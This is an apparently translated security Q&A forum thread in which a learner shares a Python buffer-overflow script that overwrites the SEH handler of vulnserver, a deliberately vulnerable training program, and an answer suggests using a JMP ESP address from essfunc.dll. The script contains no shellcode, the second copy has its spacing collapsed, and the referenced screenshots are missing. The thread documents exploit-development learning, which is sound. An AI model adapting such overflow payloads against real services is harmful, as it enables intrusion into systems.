exploit basado en SEH

2

He descargado vulnserver y quiero explotarlo usando SEH. Logré sobrescribir SE Handler con éxito, aquí está el código que estoy usando para explotar este programa:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.0.15',9999))

payload = 'GMON /' 
payload += 'A' * (3518)
payload += 'B'*4                # pointer to next SEH record
payload += 'C'*4                # SEH overwrite
payload += 'D'*(5000-len(payload))


s.send(payload)
s.recv(1024)
s.close()

Los registros se ven así:

Y aquí está la pila:


Después de eso, ejecuto !mona seh para encontrar una dll adecuada para usar, y elegí la primera.


Micargaútilahoraseveasí

importsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('192.168.0.15',9999))payload='GMON/'payload+='A'*(3518)payload+='\xcc'*4#payloadtonextSEHrecordpayload+='\xb4\x10\x50\x62'#SEHoverwritepayload+='D'*(5000-len(payload))s.send(payload)s.recv(1024)s.close()

Despuésdeejecutarlo,esteeselaspectodelapilaylosregistros:


¿Por qué no llega al punto de interrupción?

Estoy trabajando en Windows 7.

    
pregunta Tryna Learn Somethin 11.05.2018 - 12:38
fuente

1 respuesta

1

Puede que estés llamando a la dirección incorrecta

Mis habilidades de ensamblaje están un poco oxidadas, pero creo que estás tratando de incluir la dirección del DLL cargado en la memoria ( 625010b4 ), y no una dirección real que te permita saltar a tu código de shell para explotar el desbordamiento de búfer. Tampoco tienes código shell. Con estos problemas, incluso si solucionó el problema de punto de interrupción, no obtendrá un exploit operativo.

Abra essfunc.dll en su depurador de inmunidad y busque una instrucción JMP ESP y salte directamente a ese conjunto de instrucciones dentro de la memoria. Incluya esa dirección de memoria en su lugar, no \xb4\x10\x50\x62 .

Problema de punto de interrupción.

En cuanto a por qué no activa el punto de interrupción ... ¿puedes aclarar eso?

  • ¿Dónde está establecido el punto de interrupción?

  • ¿El programa no se bloquea y, por lo tanto, no está activando el punto de interrupción?

  • ¿Realmente está ejecutando el programa en el depurador?

  • ¿Has presionado el ícono "play"? ¿Se está ejecutando el programa en el depurador?

respondido por el Mark Buffalo 12.05.2018 - 02:57
fuente

Lea otras preguntas en las etiquetas